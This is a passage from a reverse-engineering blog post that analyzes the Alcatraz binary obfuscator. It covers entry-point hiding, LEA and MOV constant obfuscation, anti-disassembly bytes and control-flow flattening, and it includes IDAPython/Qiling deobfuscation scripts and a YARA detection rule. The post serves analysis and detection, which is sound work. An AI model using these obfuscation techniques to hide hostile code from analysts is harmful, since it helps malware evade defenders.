<p>After these operations, the start function has become easier to understand. At first, the function tries to find the section whose name is 0Dev. Then it calculates the Original Entry-Point by performing mathematical operations on some values in the header of this section.</p>
<pre><code class="lang-C"><span class="hljs-keyword">return</span> ((__int64 (__fastcall *)(_QWORD, <span class="hljs-keyword">signed</span> __int64, <span class="hljs-keyword">signed</span> __int64, IMAGE_SECTION_HEADER *))((<span class="hljs-keyword">char</span> *)dosHeader + (<span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span>)__ROR4__(LODWORD(ntHeader-&gt;OptionalHeader.SizeOfStackCommit) ^ *(_DWORD *)((<span class="hljs-keyword">char</span> *)&amp;dosHeader-&gt;e_magic + v3-&gt;VirtualAddress), ntHeader-&gt;FileHeader.TimeDateStamp)))(
       a2,
       v4,
       a3,
       firstSectionHeader);
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1744550498550/6fb0afa6-a263-4fee-906f-79bfeb982ce5.png" alt class="image--center mx-auto" /></p>
<p>We can also verify this process through the <a target="_blank" href="https://github.com/weak1337/Alcatraz/blob/master/Alcatraz/obfuscator/misc/custom_entry.cpp">source code</a>:</p>
<pre><code class="lang-c">__declspec(safebuffers) <span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">obfuscator::custom_main</span><span class="hljs-params">(<span class="hljs-keyword">int</span> argc, <span class="hljs-keyword">char</span>* argv[])</span> </span>{
    <span class="hljs-keyword">auto</span> peb = (<span class="hljs-keyword">uint64_t</span>)__readgsqword(<span class="hljs-number">0x60</span>); <span class="hljs-comment">// peb</span>
    <span class="hljs-keyword">auto</span> base = *(<span class="hljs-keyword">uint64_t</span>*)(peb + <span class="hljs-number">0x10</span>); <span class="hljs-comment">// peb + 0x10 = DOS Header (MZ)</span>
    PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(base + ((PIMAGE_DOS_HEADER)base)-&gt;e_lfanew);

    PIMAGE_SECTION_HEADER section = <span class="hljs-literal">nullptr</span>;
    <span class="hljs-keyword">auto</span> first = IMAGE_FIRST_SECTION(nt);
    <span class="hljs-keyword">for</span> (<span class="hljs-keyword">int</span> i = <span class="hljs-number">0</span>; i &lt; nt-&gt;FileHeader.NumberOfSections; i++) {
        <span class="hljs-keyword">auto</span> currsec = first[i];

        <span class="hljs-keyword">char</span> dev[<span class="hljs-number">5</span>] = { <span class="hljs-string">'.'</span>, <span class="hljs-string">'0'</span>, <span class="hljs-string">'D'</span>, <span class="hljs-string">'e'</span>, <span class="hljs-string">'v'</span> };
        <span class="hljs-keyword">if</span> (!_strcmp((<span class="hljs-keyword">char</span>*)currsec.Name, dev)) {
            section = &amp;currsec;
        }
    }

    <span class="hljs-keyword">uint32_t</span> real_entry = *(<span class="hljs-keyword">uint32_t</span>*)(base + section-&gt;VirtualAddress);
    real_entry ^= nt-&gt;OptionalHeader.SizeOfStackCommit;
    real_entry = _rotr(real_entry, nt-&gt;FileHeader.TimeDateStamp);
    <span class="hljs-keyword">return</span> <span class="hljs-keyword">reinterpret_cast</span>&lt;<span class="hljs-keyword">int</span>(*)(<span class="hljs-keyword">int</span>, <span class="hljs-keyword">char</span>**)&gt;(base + real_entry)(argc, argv);
}
</code></pre>
<h3 id="heading-writing-oep-finder-with-qiling-framework">Writing OEP Finder with Qiling Framework</h3>
<p>There are many possible approaches to performing all these steps (e.g., calculating them statically on the binary using PE parser libraries like <a target="_blank" href="https://lief.re/">LIEF</a>). However, I would like to demonstrate how this entire process can be handled using the <a target="_blank" href="https://github.com/qilingframework/qiling">Qiling Framework</a>. By using IDAPython APIs, we can retrieve the entry point of the sample as well as the start and end addresses of the function at that location.</p>
<pre><code class="lang-python"><span class="hljs-keyword">from</span> qiling <span class="hljs-keyword">import</span> Qiling
<span class="hljs-keyword">from</span> qiling.const <span class="hljs-keyword">import</span> QL_VERBOSE  

<span class="hljs-comment"># Qiling Version: 1.4.8 f4464b95</span>
<span class="hljs-comment"># IDA Pro Version 7.7</span>

ROOTFS_PATH = <span class="hljs-string">r"ROOTFS_PATH"</span>

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">find_oep</span>(<span class="hljs-params">sample_path, func</span>) -&gt; int:</span>
    <span class="hljs-comment"># I added the log_devices parameter because I got the following error.</span>
    <span class="hljs-comment"># TypeError: unexpected logging device type: IDAPythonStdOut</span>
    ql = Qiling([sample_path], rootfs=ROOTFS_PATH, verbose=QL_VERBOSE.OFF, log_devices=[])
    <span class="hljs-comment"># To prevent Qiling from continuing emulation, the RAX value</span>
    <span class="hljs-comment"># must be taken one instruction before the jmp opcode is executed.</span>
    ql.run(begin=func.start_ea, end=func.end_ea - <span class="hljs-number">0x4</span>) <span class="hljs-comment"># - jmp opcode size</span>
    original_entry_point = ql.arch.regs.read(<span class="hljs-string">"RAX"</span>)
    print(<span class="hljs-string">f"[+] Found Original Entry Point: 0x<span class="hljs-subst">{original_entry_point:x}</span>"</span>)
    <span class="hljs-keyword">return</span> original_entry_point


<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">main</span>():</span>
    print(<span class="hljs-string">"[~] 0xReverse - Alcatraz Deobfuscator IDA Script [~]"</span>)
    sample_path = idaapi.get_input_file_path()
    <span class="hljs-comment"># IDAPython CheatSheet</span>
    <span class="hljs-comment"># https://gist.github.com/icecr4ck/7a7af3277787c794c66965517199fc9c</span>
    info = idaapi.get_inf_structure()
    entrypoint = info.start_ea  <span class="hljs-comment"># EntryPoint start address</span>
    <span class="hljs-keyword">if</span> func := ida_funcs.get_func(entrypoint):
        function_name = idc.get_func_name(entrypoint)
        print(<span class="hljs-string">f"[+] Emulating Function Name: <span class="hljs-subst">{function_name}</span>, Address: <span class="hljs-subst">{entrypoint:x}</span>"</span>)        
        original_entry_point = find_oep(sample_path, func)
        <span class="hljs-comment"># Rename OEP address to original_entry_point</span>
        idc.set_name(original_entry_point, <span class="hljs-string">"original_entry_point"</span>, idc.SN_NOWARN)
    <span class="hljs-keyword">else</span>:
        print(<span class="hljs-string">f"[-] This address is not a function"</span>)
        exit(<span class="hljs-number">-1</span>)

main()
</code></pre>
<p>This is the output I got after running this script with <code>File &gt; Script File... (Alt + F7)</code>:</p>
<pre><code class="lang-plaintext">[~] 0xReverse - Alcatraz Deobfuscator IDA Script [~]
[+] Emulating Function Name: start, Address: 14000e2ba
[+] Found Original Entry Point: 0x140001340
</code></pre>
<p>Since we renamed the function at the target address to <code>original_entry_point</code>, instead of using the "Jump to Address (G)" option, we can directly search for the function name in the Functions section to view the actual entry-point location.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1744550480096/7f77b026-ac83-4134-9f41-24770097178c.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-lea-obfuscation">LEA Obfuscation</h2>
<pre><code class="lang-apache"><span class="hljs-attribute">lea</span> rdx, cs:<span class="hljs-number">7</span>FF<span class="hljs-number">7</span>D<span class="hljs-number">996</span>FE<span class="hljs-number">33</span>h
<span class="hljs-attribute">pushf</span>
<span class="hljs-attribute">sub</span> rdx, <span class="hljs-number">421</span>FDBD<span class="hljs-number">3</span>h
<span class="hljs-attribute">popf</span>
<span class="hljs-attribute">lea</span> rcx, cs:<span class="hljs-number">7</span>FF<span class="hljs-number">7</span>FD<span class="hljs-number">145</span>F<span class="hljs-number">19</span>h
<span class="hljs-attribute">pushf</span>
<span class="hljs-attribute">sub</span> rcx, <span class="hljs-number">659</span>D<span class="hljs-number">3</span>CA<span class="hljs-number">9</span>h
<span class="hljs-attribute">popf</span>
<span class="hljs-attribute">call</span> loc_<span class="hljs-number">7</span>FF<span class="hljs-number">797778</span>E<span class="hljs-number">4</span>A
</code></pre>
<p>The <a target="_blank" href="https://www.felixcloutier.com/x86/lea">Load Effective Address (LEA)</a> instruction loads the target address into the specified register. The sub instruction, which is wrapped with pushf and popf, reveals the actual address by subtracting a specific value from the address stored in the rdx register.</p>
<blockquote>
<p>The reason for wrapping with pushf and popf is to ensure that the RFLAGS on the CPU are not affected by the sub operation. With pushf, the RFLAGS are saved to memory, and then with popf, the preserved RFLAGS are restored.</p>
</blockquote>
<p>Hence the representation of the above process:</p>
<p>$$RDX = 0x7FF7D996FE33 - 0x421FDBD3$$</p><p>$$RCX = 0x7FF7FD145F19 - 0x659D3CA9$$</p><p>You can see how it calculates this in the <a target="_blank" href="https://github.com/weak1337/Alcatraz/blob/master/Alcatraz/obfuscator/passes/lea.cpp">lea.cpp</a> file in the Alcatraz Codebase:</p>
<pre><code class="lang-cpp"><span class="hljs-keyword">auto</span> rand_add_val = distribution(generator);
instruction-&gt;location_of_data += rand_add_val;
assm.pushf();
assm.sub(x86_register_map-&gt;second, rand_add_val);
assm.popf();
<span class="hljs-keyword">void</span>* fn;
<span class="hljs-keyword">auto</span> err = rt.add(&amp;fn, &amp;code);
</code></pre>
<p>Display on the debugger:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1744565729999/35d597a6-ee8f-484f-b418-38096d9b8860.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-anti-disassembly">Anti-Disassembly</h2>
<p>According to the description <a target="_blank" href="https://github.com/weak1337/Alcatraz?tab=readme-ov-file#anti-disassembly">here</a>, it baffles <strong>linear disassemblers</strong> that it converts an instruction starting with <code>0xFF</code> into <code>0xEB 0xFF</code>. Since I plan to explain this technique (Impossible Disassembly) and other anti-* techniques in a different blog post, I won't go into detail here. We can clearly see how it does this from the source code.</p>
<pre><code class="lang-cpp"><span class="hljs-function"><span class="hljs-keyword">bool</span> <span class="hljs-title">obfuscator::obfuscate_ff</span><span class="hljs-params">(<span class="hljs-built_in">std</span>::<span class="hljs-built_in">vector</span>&lt;obfuscator::<span class="hljs-keyword">function_t</span>&gt;::iterator&amp; function, <span class="hljs-built_in">std</span>::<span class="hljs-built_in">vector</span>&lt;obfuscator::<span class="hljs-keyword">instruction_t</span>&gt;::iterator&amp; instruction)</span> </span>{

    <span class="hljs-keyword">instruction_t</span> conditional_jmp{}; conditional_jmp.load(function-&gt;func_id, { <span class="hljs-number">0xEB</span> });
    conditional_jmp.isjmpcall = <span class="hljs-literal">false</span>;
    conditional_jmp.has_relative = <span class="hljs-literal">false</span>;
    instruction = function-&gt;instructions.insert(instruction, conditional_jmp);
    instruction++;

    <span class="hljs-keyword">return</span> <span class="hljs-literal">true</span>;
}
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1745424051069/ce554a5c-6615-4ec1-99d5-8004a0c1b6ba.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-mov-amp-add-obfuscation">MOV &amp; ADD Obfuscation</h2>
<p>As I mentioned in LEA obfuscation, it does some operations wrapped in pushf and popf.</p>
<pre><code class="lang-cpp">mov     edx, <span class="hljs-number">0</span>AA045890h
pushf
<span class="hljs-keyword">not</span>     edx
add     edx, <span class="hljs-number">0E6</span>CAF175h
<span class="hljs-keyword">xor</span>     edx, <span class="hljs-number">0B</span>7625898h
rol     edx, <span class="hljs-number">0</span>C4h
popf
pushf
<span class="hljs-keyword">not</span>     edx
add     edx, <span class="hljs-number">811E9</span>B28h
<span class="hljs-keyword">xor</span>     edx, <span class="hljs-number">0</span>C6E2935Fh
rol     edx, <span class="hljs-number">0F</span>h
popf
</code></pre>
<h2 id="heading-control-flow-obfuscation">Control Flow Obfuscation</h2>
<p>The part of the function that makes it harder to read the flow by placing the normal flow in the function in reconstructed blocks. This is the normal flow of the main function:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1745428515891/941aee50-ee12-4bc5-9ba6-65ad97f51d72.png" alt class="image--center mx-auto" /></p>
<p>It translates into this (graph view):</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1745428538007/e64359a8-5af6-4720-99bf-7cc6d861db5a.png" alt class="image--center mx-auto" /></p>
<p>Pseudo-Code representation:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1745428621706/d148986b-3034-41a2-9d58-9ca8cf6b76fa.png" alt class="image--center mx-auto" /></p>
<h1 id="heading-writing-mov-calculator-script-with-idapython">Writing MOV Calculator Script with IDAPython</h1>
<p>In Section 3.4, it is necessary to write a calculator for the MOV Obfuscation operation I mentioned. The functions that will be used in this script will also be needed for Control Flow Unflattening.</p>
<p>In the main function of the script, the <code>analyze_mov_obfuscation</code> function is called by getting the selected address on IDA.</p>
<pre><code class="lang-python"><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">main</span>():</span>
   print(<span class="hljs-string">"[~] 0xReverse - Alcatraz Deobfuscator IDA Script [~]"</span>)
   <span class="hljs-comment"># Select a mutated function on IDA Screen</span>
   start_address = idaapi.get_screen_ea()
   <span class="hljs-keyword">if</span> selected_function := ida_funcs.get_func(start_address):
      function_name = idc.get_func_name(start_address)
      print(<span class="hljs-string">f"[+] Analyzing Function Name: <span class="hljs-subst">{function_name}</span>, Address: <span class="hljs-subst">{start_address:x}</span>"</span>)
      deobfuscated_mov_ops = analyze_mov_obfuscation(func=selected_function)
      print(<span class="hljs-string">f"[+] Deobfuscated <span class="hljs-subst">{deobfuscated_mov_ops}</span> MOV obfuscation"</span>)
   <span class="hljs-keyword">else</span>:
        print(<span class="hljs-string">f"[-] This address is not a function"</span>)
        exit(<span class="hljs-number">-1</span>)
</code></pre>
<p>The <code>analyze_mov_obfuscation</code> function simply walks through the target function, finds the following pattern and calculates the required value.</p>
<pre><code class="lang-c">pattern:
{
    mov     eax, VALUE
    pushf
    <span class="hljs-keyword">not</span>     eax
    add     eax, VALUE
    <span class="hljs-keyword">xor</span>     eax, VALUE
    rol     eax, VALUE
    popf
}
</code></pre>
<p>Before writing the analyze_mov_obfuscation function, it is necessary to add the functions that perform the operations wrapped with ROL, ROR and pushf&amp;popf to the script:</p>
<pre><code class="lang-python">rol = <span class="hljs-keyword">lambda</span> val, r_bits, max_bits: ((val &lt;&lt; (r_bits % max_bits)) &amp; (<span class="hljs-number">2</span>**max_bits - <span class="hljs-number">1</span>)) | ((val &amp; (<span class="hljs-number">2</span>**max_bits - <span class="hljs-number">1</span>)) &gt;&gt; (max_bits - (r_bits % max_bits)))
ror = <span class="hljs-keyword">lambda</span> val, r_bits, max_bits: ((val &amp; (<span class="hljs-number">2</span>**max_bits - <span class="hljs-number">1</span>)) &gt;&gt; (r_bits % max_bits)) | ((val &lt;&lt; (max_bits - (r_bits % max_bits))) &amp; (<span class="hljs-number">2</span>**max_bits - <span class="hljs-number">1</span>))
MASK = <span class="hljs-number">0xFFFFFFFF</span>

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">calculate_mov_value</span>(<span class="hljs-params">init_value, add_value, xor_value, rol_value</span>):</span>
   <span class="hljs-comment"># mov     eax, VALUE</span>
   calculated_value = init_value
   <span class="hljs-comment"># not     eax         -&gt; bitwise NOT</span>
   calculated_value = (~calculated_value) &amp; MASK
   <span class="hljs-comment"># add     eax, VALUE</span>
   calculated_value = (calculated_value + add_value) &amp; MASK
   <span class="hljs-comment"># xor     eax, VALUE</span>
   calculated_value = calculated_value ^ xor_value
   <span class="hljs-comment"># rol     eax, VALUE</span>
   calculated_value = rol(calculated_value, rol_value, <span class="hljs-number">32</span>)
   <span class="hljs-keyword">return</span> calculated_value
</code></pre>
<p>For this pattern we only need to check the initial mov and pushf values. So we check the instruction with current_address and the next instruction:</p>
<pre><code class="lang-python"><span class="hljs-comment"># Get function start address</span>
current_address = func.start_ea
<span class="hljs-keyword">while</span> current_address &lt; func.end_ea:
  instruction = idautils.DecodeInstruction(current_address)
  <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> instruction:
     <span class="hljs-keyword">break</span>

  <span class="hljs-keyword">if</span> instruction.itype == idaapi.NN_mov:
     <span class="hljs-comment"># Check if the next opcode is pushf</span>
     next_instruction = idautils.DecodeInstruction(current_address + instruction.size)
     <span class="hljs-keyword">if</span> next_instruction.itype == idaapi.NN_pushf:
        print(<span class="hljs-string">"[+] MOV Obfuscation pattern found!"</span>)
        ...
     <span class="hljs-keyword">else</span>:
        current_address += instruction.size
  <span class="hljs-keyword">else</span>:
     current_address += instruction.size
</code></pre>
<p>After the initial address is assigned to a register, we cannot calculate this pattern once because the number of times the special calculation is done is randomly selected. Therefore, it is necessary to continue in a loop until we get a different opcode other than the specific opcodes. There is an example of this process done 3 times in the same function:</p>
<pre><code class="lang-c">mov     ecx, <span class="hljs-number">5600B</span>3EBh
pushf
<span class="hljs-keyword">not</span>     ecx
add     ecx, <span class="hljs-number">84</span>DD6D12h
<span class="hljs-keyword">xor</span>     ecx, <span class="hljs-number">84F</span>2EEE7h
rol     ecx, <span class="hljs-number">2B</span>h
popf
pushf
<span class="hljs-keyword">not</span>     ecx
add     ecx, <span class="hljs-number">0B</span>4156550h
<span class="hljs-keyword">xor</span>     ecx, <span class="hljs-number">0B</span>460F07Dh
rol     ecx, <span class="hljs-number">5B</span>h
popf
pushf
<span class="hljs-keyword">not</span>     ecx
add     ecx, <span class="hljs-number">0E02</span>D13C8h
<span class="hljs-keyword">xor</span>     ecx, <span class="hljs-number">0</span>C483568Bh
rol     ecx, <span class="hljs-number">66</span>h
popf
</code></pre>
<p>This is how we do the calculation process in the script:</p>
<pre><code class="lang-python">calculated_value = <span class="hljs-number">0</span>
add_value = xor_value = rol_value = <span class="hljs-number">0</span>
<span class="hljs-comment"># Get value from {mov eax, VALUE} and MASK for 32bit</span>
initial_value = instruction.ops[<span class="hljs-number">1</span>].value &amp; MASK
<span class="hljs-comment"># Add current_address and mov and pushf</span>
current_address += instruction.size + next_instruction.size
<span class="hljs-keyword">while</span> <span class="hljs-literal">True</span>:
   current_instruction = idautils.DecodeInstruction(current_address)
   <span class="hljs-keyword">if</span> current_instruction.itype == idaapi.NN_not:
      current_address += current_instruction.size
   <span class="hljs-keyword">elif</span> current_instruction.itype == idaapi.NN_add:
      add_value = current_instruction.ops[<span class="hljs-number">1</span>].value &amp; MASK
      current_address += current_instruction.size
   <span class="hljs-keyword">elif</span> current_instruction.itype == idaapi.NN_xor:
      xor_value = current_instruction.ops[<span class="hljs-number">1</span>].value &amp; MASK
      current_address += current_instruction.size 
   <span class="hljs-keyword">elif</span> current_instruction.itype == idaapi.NN_rol:
      rol_value = current_instruction.ops[<span class="hljs-number">1</span>].value &amp; MASK
      current_address += current_instruction.size
   <span class="hljs-keyword">elif</span> current_instruction.itype == idaapi.NN_popf:
      calculated_value = calculate_mov_value(
         init_value=initial_value,
         add_value=add_value,
         xor_value=xor_value,
         rol_value=rol_value
      )
      current_address += current_instruction.size
   <span class="hljs-keyword">elif</span> current_instruction.itype == idaapi.NN_pushf:
      <span class="hljs-comment"># The pattern we are looking for can be repetitive,</span>
      <span class="hljs-comment"># so we need to keep the process going.</span>
      initial_value = calculated_value
      current_address += current_instruction.size
   <span class="hljs-keyword">else</span>:
      <span class="hljs-keyword">break</span>
print(<span class="hljs-string">f"[+] Calculated MOV value: <span class="hljs-subst">{hex(calculated_value)}</span>"</span>)
</code></pre>
<p><a target="_blank" href="https://github.com/0xReverse/idascripts/tree/main/alcatraz">Github Repo</a></p>
<h1 id="heading-yara-rule">YARA Rule</h1>
<pre><code class="lang-c"><span class="hljs-keyword">import</span> <span class="hljs-string">"pe"</span>

rule SUSP_EXE_Alcatraz_Obfuscator_April_23 { 
    meta:
        description = <span class="hljs-string">"This rule detects samples obfuscated with Alcatraz."</span>
        author      = <span class="hljs-string">"Utku Corbaci (rhotav) / 0xReverse"</span>
        date        = <span class="hljs-string">"2025-04-23"</span>
        sharing     = <span class="hljs-string">"TLP:CLEAR"</span>
        tags        = <span class="hljs-string">"windows,exe,suspicious,obfuscator"</span>
        os          = <span class="hljs-string">"Windows"</span>

    strings:
        <span class="hljs-comment">// B8 41 CD A8 27   mov     eax, 27A8CD41h</span>
        <span class="hljs-comment">// 66 9C            pushf</span>
        <span class="hljs-comment">// F7 D0            not     eax</span>
        <span class="hljs-comment">// 05 AB FD E1 DD   add     eax, 0DDE1FDABh</span>
        <span class="hljs-comment">// 35 CA 3C 0F BF   xor     eax, 0BF0F3CCAh</span>
        <span class="hljs-comment">// C1 C0 62         rol     eax, 62h</span>
        <span class="hljs-comment">// 66 9D            popf</span>
        $obfuscation_mov = {B8 ?? ?? ?? ?? <span class="hljs-number">66</span> <span class="hljs-number">9</span>C F7 D0 <span class="hljs-number">05</span> ?? ?? ?? ?? <span class="hljs-number">35</span> ?? ?? ?? ?? C1 C0 ?? <span class="hljs-number">66</span> <span class="hljs-number">9</span>D}

        <span class="hljs-comment">// 48 8D 05 74 81 47 77        lea     rax, cs:1B748621Eh</span>
        <span class="hljs-comment">// 66 9C                       pushf</span>
        <span class="hljs-comment">// 48 2D A6 2B 48 77           sub     rax, 77482BA6h</span>
        <span class="hljs-comment">// 66 9D                       popf</span>
        $obfuscation_lea = {<span class="hljs-number">48</span> <span class="hljs-number">8</span>D ?? ?? ?? ?? ?? <span class="hljs-number">66</span> <span class="hljs-number">9</span>C <span class="hljs-number">48</span> <span class="hljs-number">2</span>D ?? ?? ?? ?? <span class="hljs-number">66</span> <span class="hljs-number">9</span>D}
    condition: 
        pe.is_pe
        <span class="hljs-keyword">and</span> <span class="hljs-keyword">for</span> any i in (<span class="hljs-number">0.</span>.pe.number_of_sections - <span class="hljs-number">1</span>): (
            (pe.sections[i].name == <span class="hljs-string">".0Dev"</span>)
        )
        <span class="hljs-keyword">and</span> (all of ($obfuscation_*))
}
</code></pre>
<p><a target="_blank" href="https://www.unpac.me/yara/hunt/results/3886a8a9-997c-4b71-b65b-e9000e581aa7">unpac.me Hunting Results</a></p>
<h1 id="heading-references">References</h1>
<ol>
<li><p><a target="_blank" href="https://keowu.re/posts/Analyzing-Mutation-Coded-VM-Protect-and-Alcatraz-English">https://keowu.re/posts/Analyzing-Mutation-Coded-VM-Protect-and-Alcatraz-English</a></p>
</li>
<li><p><a target="_blank" href="https://gist.github.com/icecr4ck/7a7af3277787c794c66965517199fc9c">https://gist.github.com/icecr4ck/7a7af3277787c794c66965517199fc9c</a></p>
</li>
<li><p><a target="_blank" href="https://python.docs.hex-rays.com/">https://python.docs.hex-rays.com/</a></p>
</li>
<li><p><a target="_blank" href="https://grazfather.github.io/posts/2016-09-18-anti-disassembly/">https://grazfather.github.io/posts/2016-09-18-anti-disassembly/</a></p>
</li>
<li><p><a target="_blank" href="https://gist.github.com/trietptm/5cd60ed6add5adad6a34098ce255949a">https://gist.github.com/trietptm/5cd60ed6add5adad6a34098ce255949a</a></p>
</li>
<li><p><a target="_blank" href="https://phrack.org/issues/71/15">https://phrack.org/issues/71/15</a></p>
</li>
</ol>
]]></content:encoded></item></channel></rss>